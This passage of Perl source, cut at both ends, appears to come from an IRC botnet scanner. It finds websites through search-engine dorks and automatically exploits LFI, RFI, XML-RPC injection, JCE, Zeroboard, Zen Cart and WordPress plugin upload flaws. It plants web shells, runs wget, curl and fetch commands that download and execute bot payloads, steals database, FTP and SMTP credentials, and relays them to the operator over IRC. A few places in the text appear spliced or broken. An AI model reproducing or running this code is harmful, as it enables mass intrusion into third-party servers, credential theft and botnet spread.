'(.*)'/g) { &msg("$chan","3,1{-{4@13$engine4@3}-} 9http://".$site." 15[+]DB Database:7 $1 $e107logo"); my $hosts = "http://".$site; if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) { $host = $2; &dbi_connect($host,$dbuser,$dbpass,$dbname,$chan,$engine,$e107logo);sleep(1); if ($dbuser =~ /_/) { my @users = split("_",$dbuser); my $dbuser = $users[0]; } &ftp_connect($url,$host,$dbuser,$dbpass,$chan,$engine,$e107logo);sleep(1); } } }} sub lfi_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $nick = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$lfilogo,$nick); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; my $dir = "../../../../../../../../../../../../../../../../../../../../../../../../"; my $test = "http://".$site.$bug.$dir."/proc/self/environ%0000"; my $shell = "http://".$site.$bug.$dir."/tmp/petx%0000"; my $shellx = "http://".$site.$bug.$dir."/tmp/cpx%0000"; my $shellxx = "http://".$site.$bug.$dir."/tmp/btx%0000"; my $html = get_content($test); if ($html =~ /DOCUMENT_ROOT=\// && $html =~ /HTTP_USER_AGENT=/) { &msg("$chan","3,1{-{4@13$engine4@3}-} 4check 7http://$site $lfilogo"); if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $code = 'echo "c0li#".php_uname()."#c0li"; if(@copy("'.$injector.'","/tmp/petx")) { echo "SUCCESS"; }'; my $codex = 'echo "c0li#".php_uname()."#c0li"; if(@copy("'.$botshell2.'","/tmp/cpx")) { echo "SUCCESS"; }'; my $codexx = 'echo "c0li#".php_uname()."#c0li"; if(@copy("'.$botshell3.'","/tmp/btx")) { echo "SUCCESS"; }'; my $res = lfi_env_query($test,encode_base64($code));lfi_env_query($test,encode_base64($codex));lfi_env_query($test,encode_base64($codexx)); &lfi_spread_query($test); $res =~ s/\n//g; if ($res =~ /c0li#(.*?)#c0li(.*?)SUCCESS/sg) { my $os = $1; my $uid = $2; my $lficheck = &get_content($shell);&get_content($shellx);;&get_content($shellxx); if ($lficheck =~ /smoo - Shell/){ &os2($shell,$chan,$engine,$lfilogo,$nick); } else { } } } exit; } } } } } sub lfi_env_query() { my $url = $_[0]; my $code = $_[1]; my $ua = LWP::UserAgent->new(agent => ""); $ua->timeout(7); my $req = HTTP::Request->new(GET => $url); my $res = $ua->request($req); return $res->content; } sub lfi_spread_query() { my $url = $_[0]; my $code = "system('cd /tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;wget ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;curl -O ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;lwp-download ".$botshell.";php byroe.jpg;fetch ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;wget ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;curl -O ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;lwp-download ".$botshell2.";php allnet.jpg;cd /var/tmp;fetch ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;wget ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;curl -O ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;lwp-download ".$botshell.";php byroe.jpg;fetch ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;wget ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;curl -O ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;lwp-download ".$botshell2.";php allnet.jpg;rm -rf *.jp*;');"; my $ua = LWP::UserAgent->new(agent => ""); $ua->timeout(7); my $req = HTTP::Request->new(GET => $url); my $res = $ua->request($req); } sub zero_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $nick = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$zerologo,$nick); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; my $coba = "http://".$site.$bug; my $cek = &get_content($coba);sleep(1); if ($pid = fork){ waitpid($pid ,0); } else { if (fork) { exit; } else { if ($cek =~ /Zeroboard/) { system("./zero $coba 80");sleep(1); my $vulner1 = "http://".$site.$action."?cmd="; my $vulner2 = "http://".$site.$action.$wgetdon; my $vulner3 = "http://".$site.$action.$lwpdon; my $vulner4 = "http://".$site.$action.$curldon; my $vuln1 = "http://".$site."/data/shellx.php"; my $check2 = &get_content($vulner1); if ($check2 =~ /Cannot execute a blank command/) { &msg("$chan","3,1{-{4@13$engine4@3}-} 4check 7http://$site $zerologo"); if ($zerowget == 1) { my $coba1 = &get_content($vulner2);sleep(2); } if ($zerolwp == 1 ) { my $coba2 = &get_content($vulner3);sleep(2); } if ($zerocurl == 1) { my $coba3 = &get_content($vulner4);sleep(2); } my $check1 = &get_content($vuln1); if ($check1 =~ /smoo - Shell/i) { &os2($vuln1,$chan,$engine,$zerologo,$nick); } else { &msg("$chan","3,1{-{4@13$engine4@3}-} 4exploit 7$vulner1 $zerologo"); } sleep(2); } } } exit; } } } } sub mmfc_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $nick = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$mmfclogo,$nick); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; my $aplod = LWP::UserAgent->new; my $res = $aplod->post("http://".$site.$bug,['fileToUpload' => ['./xxx.php' => 'xxx.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); my $resa = $aplod->post("http://".$site.$bug,['fileToUpload' => ['./xx.php' => 'xx.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); my $hasil = $res->content; my $hasil1 = $resa->content; my $vpath = "wp-content/plugins/mm-forms-community/upload/temp/"; if ($hasil=~ /has been successfully uploaded/){ if ($hasil1=~ /has been successfully uploaded/){ my $filexxx = ""; my $filexx = ""; if ($hasil=~ /filename: \'(.*)php/){$filexxx = $1;} if ($hasil1=~ /filename: \'(.*)php/){$filexx = $1;} &msg("$chan","3,1{-{4@13$engine4@3}-} 4check 7http://$site $mmfclogo"); my $test = "http://".$site.$vpath.$filexxx."php"; my $test1 = "http://".$site.$vpath.$filexx."php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $cekap = &get_content($test);&get_content($test1); if ($cekap =~ /smoo - Shell/) { &os($test,$chan,$engine,$mmfclogo,$nick); my $cupl = $test."?cmd=wget"; my $cuplx = $test1."?cmd=wget"; my $crut = &get_content($cupl); my $crot = &get_content($cuplx); if ($crut =~ /missing/i) { if ($crot =~ /missing/i) { my $upload = $cupl.'%20'.$thumbid.'%20-O%20shellx.php'; my $uploads = $cuplx.'%20'.$thumbidx.'%20-O%20cpx.php'; &get_content($uploads);sleep(1);&get_content($upload);sleep(1); my $shell = "http://".$site.$vpath."shellx.php"; my $shellx = "http://".$site.$vpath."cpx.php"; my $check = &get_content($shell);&get_content($shellx); if ($check =~ /smoo - Shell/i){ &os2($shell,$chan,$engine,$mmfclogo,$nick); } } } } exit; } } } } } } sub rfi_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $nick = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$rfilogo,$nick); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; my $coba = "http://".$site.$bug."test??"; my $test = "http://".$site.$bug."injector??"; my $dor = "http://".$site.$bug.$botshell."??"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $cek = &get_content($coba);sleep(1); &get_content($dor);sleep(1); if ($cek =~ /failed to open stream/) { my $check = &get_content($test);sleep(1); if ($check =~ /smoo - Shell/i) { &os2($test,$chan,$engine,$rfilogo,$nick); } } } exit; } } } } sub zencp_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $nick = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$zenlogo,$nick); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; my $test = "http://".$site."extras/curltest.php"; my $vuln = "http://".$site."extras/ipn_test_return.php"; my $html = &get_content($test); if ($html =~ /Zen Cart/){ my $target = &get_content($vuln); if ($target =~ /failed to open stream/){ my $dir =""; if ($target =~ m/in (.*?)\/extras\/ipn_test_return.php<\/b>/) {$dir = $1;} my $data = "http://".$site."/extras/curltest.php?url=file:///".$dir."/includes/configure.php"; my $sql = &get_content($data); if ($sql =~ m/'DB_SERVER_USERNAME', '(.*)_/g) {$user = $1;} if ($sql =~ m/'DB_SERVER_PASSWORD', '(.*)'/g) {$pass = $1;} my $cp = "ftp://$user:$pass@".$site.""; my $cpanel = &get_content($cp); if ($cpanel =~ /ftp/){; &msg("$chan","3,1{-{4@13$engine4@3}-} 9http://".$site." |7 ".$user.":".$pass." 9| $zenlogo");sleep(1); my $hosts = "http://".$site; if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) { $host = $2; &dbi_connect($host,$dbuser,$dbpass,$dbname,$chan,$engine,$zenlogo);sleep(1); if ($dbuser =~ /_/) { my @users = split("_",$dbuser); my $dbuser = $users[0]; } &ftp_connect($url,$host,$dbuser,$dbpass,$chan,$engine,$zenlogo);sleep(1); } } } } } } } sub jce_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $nick = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$jcelogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","15,1( 7,1@ 4$engine 9,1Finished Scan..."); } my $crott = "http://".$site."/images/stories/0d4y.php"; #my $iam = "http://".$site."/images/stories/food/footer.php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $status = &jce_upload($site); if ($status = 1) { my $check = &get_content($crott."?rf"); &get_content($iam."?clone"); if ($check =~ /IAM - DNSNET/) { my $safe = ""; my $os = ""; my $uid = ""; my $smtphost = ""; my $smtpuser = ""; my $smtppass = ""; my $ftphost = ""; my $ftpuser = ""; my $ftppass = ""; if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($check =~ /uid=(.*?)gid=/){$uid=$1;} if ($check =~ /wget : (.*?)<\/b>/){$wget=$1;} if ($check =~ /Perl : (.*?)<\/b>/){$pl=$1;} my $safe = ""; my $wget = ""; my $pl = ""; if ($check =~ m/\$smtphost = '(.+?)';/i){$smtphost=$1;} if ($check =~ m/\$smtpport = '(.+?)';/i){$smtpport=$1;} if ($check =~ m/\$smtpuser = '(.+?)';/i){$smtpuser=$1;} if ($check =~ m/\$smtppass = '(.+?)';/i){$smtppass=$1;} if ($check =~ m/\$ftp_host = '(.+?)';/i){$ftphost=$1;} if ($check =~ m/\$ftp_port = '(.+?)';/i){$ftpport=$1;} if ($check =~ m/\$ftp_user = '(.+?)';/i){$ftpuser=$1;} if ($check =~ m/\$ftp_pass = '(.+?)';/i){$ftppass=$1;} &msg("$chan","4,1TARGET SEND TO 9$nick 4,1inFo Of Shell 4,1>>7(SafeMode=$safe)4,1 9(OS=$os)4,1 9uid=$uid (Wget=$wget) (Perl=$pl) "); &msg("$nick","$crott (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$crott (SafeMode=$safe) (OS=$os) uid=$uid "); #&msg("$admin","$iam (SafeMode=$safe) (OS=$os) uid=$uid "); if (defined($ftpuser)){ &msg("$admin","4<9=4>9 FTP ftp://$site15 [ $ftphost $ftpport $ftpuser $ftppass ] "); &msg("$nick","4<9=4>9 FTP ftp://$site15 [ $ftphost $ftpport $ftpuser $ftppass ] "); } if (defined($smtpuser)){ &msg("$admin","4<9=4>9 SMTP ftp://$site15 [ $smtphost $smtpport $smtpuser $smtppass ] "); &msg("$nick","4<9=4>9 SMTP ftp://$site15 [ $smtphost $smtpport $smtpuser $smtppass ] "); } } } } exit; } } } } sub jce_upload() { my $success = 0; my $url = $_[0]; $url =~ s/http:\/\///; my $host = $url; my $path = $url; $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; $path =~ s/(.*)\/[^\/]*$/\1/; $path .= "/"; $path =~ s/([-a-zA-Z0-9\.]+)/$2/; if ($path eq "") { $path = "/" } $header1P = "POST ".$path."index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1"; $header1P2 = "POST ".$path."index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1"; $header2 = "Host: $host"; $header3 = "User-Agent: BOT/0.1 (BOT for JCE)"; $header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334"; $header5 = "Content-Length: 4567"; $header6 = "-----------------------------41184676334"; $header7 = 'Content-Disposition: form-data; name="upload-dir"'; $header8 = '/'; $header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""'; $header10 = 'Content-Type: application/octet-stream'; $header11 = 'Content-Disposition: form-data; name="upload-overwrite"'; $header12 = "0"; $header13 = 'Content-Disposition: form-data; name="Filedata"; filename="0d4y.gif"'; $header14 = 'Content-Type: image/gif'; $header15 = 'GIF89a1'; $header16 = " "; $header17 = 'Content-Disposition: form-data; name="upload-name"'; $header18 = '0d4y'; $header19 = 'Content-Disposition: form-data; name="action"'; $header20 = 'upload'; $header21 = "-----------------------------41184676334--"; $header22 = 'X-Request: JSON'; $header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8'; $header25 = 'json={"fn":"folderRename","args":["/0d4y.gif","0d4y.php"]}'; $header24 = "Content-Length: ".length($header25).""; my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host" ,PeerPort=>"80") || return; print $remote "$header1P\n$header2\n$header3\n$header4\n$header5\n\n$header6\n$header7\n\n$header8\n$header6\n$header9\n$header10\n\n\n$header6\n$header11\n\n$header12\n$header6\n$header13\n$header14\n\n$header15\n$header16\n$header6\n$header17\n\n$header18\n$header6\n$header19\n\n$header20\n$header21\n\n"; my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host" ,PeerPort=>"80") || return; print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; while ($hasil = <$remote>) { if ($hasil =~ /200 OK/) { $success = 1; } return $success; } } sub xml_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $nick = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$xmllogo,$nick); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; my $test = "http://".$site.$bug; my $vuln = "http://".$site."12".$bug; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $html = &get_content($test); if ($html =~ /faultcode/i ) { my $resp = &xml_cek_query($test); if ($resp =~ /j13mb0t(.*)j13mb0t/s) { &msg("$chan","3,1{-{4@13$engine4@3}-} 4check 7http://$site $xmllogo"); &xml_spread_query($test);sleep(1); my $sys = $1; my $shell = "http://".$site."/petx.php"; my $shellx = "http://".$site."/cpx.php"; my $check = &get_content($shell);&get_content($shellx); if ($check =~ /smoo - Shell/i) { &os2($shell,$chan,$engine,$xmllogo,$nick); } } } exit; } } } }} sub xml_cek_query() { my $url = $_[0]; my $code = "system('uname -a');"; my $ua = LWP::UserAgent->new(agent => 'perl post'); $exploit = ""; $exploit .= "test.method"; $exploit .= "',''));"; $exploit .= "echo'j13mb0t';".$code."echo'j13mb0t';exit;/*"; $ua->timeout(7); my $res = $ua->request(POST $url, Content_Type => 'text/xml', Content => $exploit); return $res->content; } sub xml_spread_query() { my $xmltargt = $_[0]; my $xmlsprd = "system('wget ".$injector." -O petx.php;wget ".$botshell2." -O cpx.php;fetch ".$injector.";mv petx.jpg petx.php;fetch ".$botshell2.";mv cpx.jpg cpx.php;wget ".$botshell." -O tmp.php;fetch ".$botshell.";mv petx.jpg tmp.php;killall -9 perl;killall -9 php;cd /tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php bot.txt;rm -rf petx.jpg;wget ".$botshell.";php petx.jpg;rm -rf petx.jpg;curl -O ".$botshell.";php petx.jpg;rm -rf petx.jpg;lwp-download ".$botshell.";php petx.jpg;cd /var/tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php petx.jpg;rm -rf petx.jpg;wget ".$botshell.";php bot.txt;rm -rf petx.jpg;curl -O ".$botshell.";php petx.jpg;rm -rf petx.jpg;lwp-download ".$botshell.";php petx.jpg;');"; my $userAgent = LWP::UserAgent->new(agent => 'perl post'); $exploit = ""; $exploit .= "test.method"; $exploit .= "',''));"; $exploit .= "echo'j13m';".$xmlsprd."echo'b0T';exit;/*"; $userAgent->timeout(7); my $response = $userAgent->request(POST $xmltargt, Content_Type => 'text/xml', Content => $exploit); } sub zen_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $nick = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$zenlogo,$nick); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; my $test = "http://".$site.'admin/product.php/password_forgotten.php?action=new_product_preview'; my $html = zen_upl_query($test); if ($html =~ /new(agent => $uagent); $ua->timeout(10); my $req = $ua->post($url, Content_Type=>'multipart/form-data', Content=>["products_image"=>["$zen_shell"]]); return $req->content; } sub rfg_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $nick = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$rfglogo,$nick); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; my $aplod = LWP::UserAgent->new; my $res = $aplod->post("http://".$site.$bug,['file[]' => ['./xxx.php' => 'xxx.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); my $resa = $aplod->post("http://".$site.$bug,['file[]' => ['./xx.php' => 'xx.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); my $hasil = $res->content; my $hasil1 = $resa->content; my $vpath = "wp-content/plugins/radykal-fancy-gallery/admin/"; if ($hasil=~ /\"realFile\":\"(.*)php\"/){ if ($hasil1=~ /\"realFile\":\"(.*)php\"/){ &msg("$chan","3,1{-{4@13$engine4@3}-} 4check 7http://$site $rfglogo"); my $prikitiw = $1; my $prikitiwx = $1; my $test = "http://".$site.$vpath.$prikitiw."php"; my $test1 = "http://".$site.$vpath.$prikitiwx."php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $cekap = &get_content($test);&get_content($test1); if ($cekap =~ /smoo - Shell/) { &os($test,$chan,$engine,$rfglogo,$nick); my $cupl = $test."?cmd=wget"; my $cuplx = $test1."?cmd=wget"; my $crut = &get_content($cupl); my $crot = &get_content($cuplx); if ($crut =~ /missing/i) { if ($crot =~ /missing/i) { my $upload = $cupl.'%20'.$thumbid.'%20-O%20shellx.php'; my $uploads = $cuplx.'%20'.$thumbidx.'%20-O%20cpx.php'; &get_content($upload);sleep(1);&get_content($uploads);sleep(1); my $shell = "http://".$site.$vpath."shellx.php"; my $shellx = "http://".$site.$vpath."cpx.php"; my $check = &get_content($shell);&get_content($shellx); if ($check =~ /smoo - Shell/i){ &os2($shell,$chan,$engine,$rfglogo,$nick); } } } } exit; } } } } } }} sub ftp_connect { my $url = $_[0]; my $host = $_[1]; my $user = $_[2]; my $pass = $_[3]; my $chan = $_[4]; my $engine = $_[5]; my $logo = $_[6]; my $success = 1; use Net::FTP; my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 7); $success = 0 if $ftp->login($user,$pass); $ftp->quit; if ($success == 0) { &msg("$chan","3,1{-{4@13$engine4@3}-} 9http://".$host." |7 ".$user.":".$pass." 9| $logo");sleep(2); } } sub dbi_connect () { my $host = $_[0]; my $user = $_[1]; my $pass = $_[2]; my $dtbs = $_[3]; my $chan = $_[4]; my $engine = $_[5]; my $logo = $_[6]; my $port = "3306"; my $platform = "mysql"; my $dsn = "dbi:$platform:$dtbs:$host:$port"; my $DBIconnect= DBI->connect($dsn,$user,$pass); if ($DBIconnect) { &msg("$chan","3,1{-{4@13$engine4@3}-} 9http://".$host." |7 ".$user.":".$pass." 9| $logo"); } } sub getUserPass() { my $string = $_[0]; my @lol = split("\r\n", $string); my $pass = ""; my $user = ""; foreach my $line (@lol) { if(($line =~ m/db_password(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_password(.*?)=(.*?)"(.+?)";/i)) { $pass = $3; } if(($line =~ m/db_username(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_username(.*?)=(.*?)"(.+?)";/i)) { $user = $3; } } return $user.":Viva-Byroe.Net:".$pass; } sub getinfo() { my $string = $_[0]; my @lol = split("\r\n", $string); my $pass = ""; my $user = ""; my $dbs = ""; foreach my $line (@lol) { if(($line =~ m/db_password(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_password(.*?)=(.*?)"(.+?)";/i)) { $pass = $3; } if(($line =~ m/db_username(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_username(.*?)=(.*?)"(.+?)";/i)) { $user = $3; } if(($line =~ m/db_name(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_name(.*?)=(.*?)"(.+?)";/i)) { $dbs = $3; } } return $user.":Viva-Byroe.Net:".$pass.":Viva-Byroe.Net:".$dbs; } ################################################################################## sub os() { my $url = $_[0]; my $chan = $_[1]; my $engine = $_[2]; my $logo = $_[3]; my $nick = $_[4]; my @print; my $target = &get_content($url); if ($target =~ /smoo - Shell/i) { my $safe = ""; my $os = ""; if ($target =~ m/SAFE_MODE : (.*?)<\/b>/) {$safe = $1;} if ($target =~ m/Uname : (.*?)<\/b>/){$os=$1;} &msg("$chan","3,1{-{4@13$engine4@3}-} 9-[ $nick HacK ]- 9+Site+ 7[Safe-mode:$safe(WoKeH)] [OS:$os] $logo"); &msg("$nick","3,1{-{4@13$engine4@3}-} 9[ sHeLL ]4 ".$url." 7[Safe-mode:$safe(WoKeH)] [OS:$os] $logo"); &msg("$chaninfo","3,1{-{4@13$engine4@3}-} 9[ sHeLL ]4 ".$url." 7[Safe-mode:$safe(WoKeH)] [OS:$os] $logo"); } return @print; } sub os2() { my $url = $_[0]; my $chan = $_[1]; my $engine = $_[2]; my $logo = $_[3]; my $nick = $_[4]; my @print; my $target = &get_content($url); if ($target =~ /smoo - Shell/i) { my $safe = ""; my $os = ""; if ($target =~ m/SAFE_MODE : (.*?)<\/b>/) {$safe = $1;} if ($target =~ m/Uname : (.*?)<\/b>/){$os=$1;} &msg("$chan","3,1{-{4@13$engine4@3}-} 9-[ $nick HacK ]- 9+Site+ 7[Safe-mode:$safe(WoKeH)] [OS:$os] $logo"); &msg("$nick","3,1{-{4@13$engine4@3}-} 9[ sHeLL ]4 ".$url." 7[Safe-mode:$safe(WoKeH)] [OS:$os] $logo"); &msg("$chaninfo","3,1{-{4@13$engine4@3}-} 9[ sHeLL ]4 ".$url." 7[Safe-mode:$safe(WoKeH)] [OS:$os] $logo"); } return @print; } sub os3() { my $url = $_[0]; my $chan = $_[1]; my $engine = $_[2]; my $logo = $_[3]; my $nick = $_[4]; my @print; my $target = &get_content($url); if ($target =~ /Uploader by ghost-dz/i) { my $os = ""; if ($target =~ m/\/title>(.+?)
new(agent => $uagent); $ua->timeout($timot); my $req = HTTP::Request->new(GET => $url); my $res = $ua->request($req); return $res->content; } ######################################### SEARCH ENGINE sub dogpile() { my @list; my $key = $_[0]; for (my $i=1; $i<=150; $i+=10){ my $search = ("http://www.dogpile.com/info.dogpl.t2.7/search/web?qsi=".$i."&q=".uri_escape($key)); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.+?)\//g) { if ($1 !~ /dogpile/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } } return @list; } sub about() { my @list; my $key = $_[0]; for (my $i=1; $i<=1000; $i+=100){ my $search = ("http://search.about.com/fullsearch.htm?terms=".uri_escape($key)."&pg=".$i."&SUName=www"); my $res = &search_engine_query($search); while ($res =~ m/\"]*)\//g){ if ($link !~ /pagina|pagina's/){ my $link = $1; my @grep = links($link); push(@list,@grep); } } } return @list; } sub dmoz() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ("http://www.dmoz.org/search?q=".uri_escape($key)."&cat=all&all=".$i); my $res = &search_engine_query($search); while ($res =~ m/\"]*)\//g) { my $link = $1; if ($link !~ /dMoz/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub avg() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100) { my $search = ("http://isearch.avg.com/search?q=".uri_escape($key)."&sap=hp&lang=unknown&mid=unknown&cid=unknown&v=unknown&ds=unknown&d=1%2F1%2F2000+12%3A00%3A00+AM&pr=unknown&snd=".$i); my $res = &search_engine_query($search); while ($res =~ m/http\%3a\/\/(.+?)\"/g) { if ($1 !~ /avg\.com/){ my $link = $1; $link =~ s//g) { my $link = $1; if ($link !~ /onet|webcache|query/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub clusty() { my @list; my $key = $_[0]; for ($b=0; $b<=300; $b+=10) { my $search = ("http://search.yippy.com/search?v%3aproject=clusty&v%3afile=viv_WpwFNb&sec=1321263148&query=".uri_escape($key)."&v:state=root|root-".$b."-10|0&"); my $res = &search_engine_query($search); while ($res =~ m//g) { if ($1 !~ /yippy\.com/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } } return @list; } sub outlook() { my @list; my $key = $_[0]; for (my $i=1; $i<=400; $i+=10) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&first=".$i); my $res = &search_engine_query($search); while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /uol\.com\.br|\/web/i){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub seznam() { my @list; my $key = $_[0]; for ($b=1; $b<=300; $b+=20) { my $search = ("http://search.seznam.cz/?q=".uri_escape($key)."&count=20&from=".$b); my $res = &search_engine_query($search); while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub hotbot() { my @list; my $key = $_[0]; for ($b=0; $b<=50; $b+=1) { my $search = ("http://www.hotbot.com/search/web?pn=".$b."&q=".uri_escape($key)); my $res = &search_engine_query($search); if ($res =~ m/had no web result/i) {$b=50;} while ($res =~ m/href=\"http:\/\/(.+?)\" title=/g) { my $link = $1; if ($link !~ /hotbot\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub biglobe { my $key = $_[0]; my @list; for ($b=1; $b<=500; $b+=10) { $num += $num; my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$b."&ie=utf8&num=".$num."&q=".uri_escape($key)."&lr=all"; my $res = &search_engine_query($search); while ( $res =~ m/new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return; my $sget = "GET $query HTTP/1.0\r\n"; $sget .= "Host: $host\r\n"; $sget .= "Accept: */*\r\n"; $sget .= "User-Agent: $uagent\r\n"; $sget .= "Connetion: Close\r\n\r\n"; print $sock $sget; my @pages = <$sock>; $page = "@pages"; close($sock); }; return $page; } ######################################### sub shell() { my $path = $_[0]; my $cmd = $_[1]; if ($cmd =~ /cd (.*)/) { chdir("$1") || &msg("$path","No such file or directory"); return; } elsif ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my @output = `$cmd 2>&1 3>&1`; my $c = 0; foreach my $output (@output) { $c++; chop $output; &msg("$path","$output"); if ($c == 5) { $c = 0; sleep 3; } } exit; }} } sub isAdmin() { my $status = 0; my $nick = $_[0]; if ($nick eq $admin) { $status = 1; } return $status; } sub msg() { return unless $#_ == 1; sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]"); } sub nick() { return unless $#_ == 0; sendraw("NICK $_[0]"); } sub notice() { return unless $#_ == 1; sendraw("NOTICE $_[0] :$_[1]"); } sub cmdlfi() { my $browser = LWP::UserAgent->new; my $url = $_[0]; my $cmd = $_[1]; my $chan = $_[2]; my $hie = "lobex /dev/stdout\"); ?>byroe"; $browser->agent("$hie"); $browser->timeout(7); $response = $browser->get( $url ); if ($response->content =~ /lobex(.*)byroe/s) { &msg("$chan","$lfilogo9".$1." "); } else { &msg("$chan","$lfilogo15No Output "); } } sub cmdxml() { my $jed = $_[0]; my $dwa = $_[1]; my $chan = $_[2]; my $userAgent = LWP::UserAgent->new(agent => 'perl post'); $exploit = ""; $exploit .= "test.method"; $exploit .= "',''));"; $exploit .= "echo'bamby';system('".$dwa."');echo'solo';exit;/*"; my $response = $userAgent->request(POST $jed,Content_Type => 'text/xml',Content => $exploit); if ($response->content =~ /bamby(.*)solo/s) { &msg("$chan","$xmllogo9$1 "); } else { &msg("$chan","$xmllogo15No Output "); } } sub cmde107() { my $path = $_[0]; my $code = $_[1]; my $chan = $_[2]; my $codecmd = encode_base64($code); my $cmd = 'echo(base64_decode("QmFNYlk=").shell_exec(base64_decode("aWQ=")).base64_decode("Qnlyb2VOZXQ=")).shell_exec(base64_decode("'.$codecmd.'"));'; my $req = HTTP::Request->new(POST => $path); $req->content_type('application/x-www-form-urlencoded'); 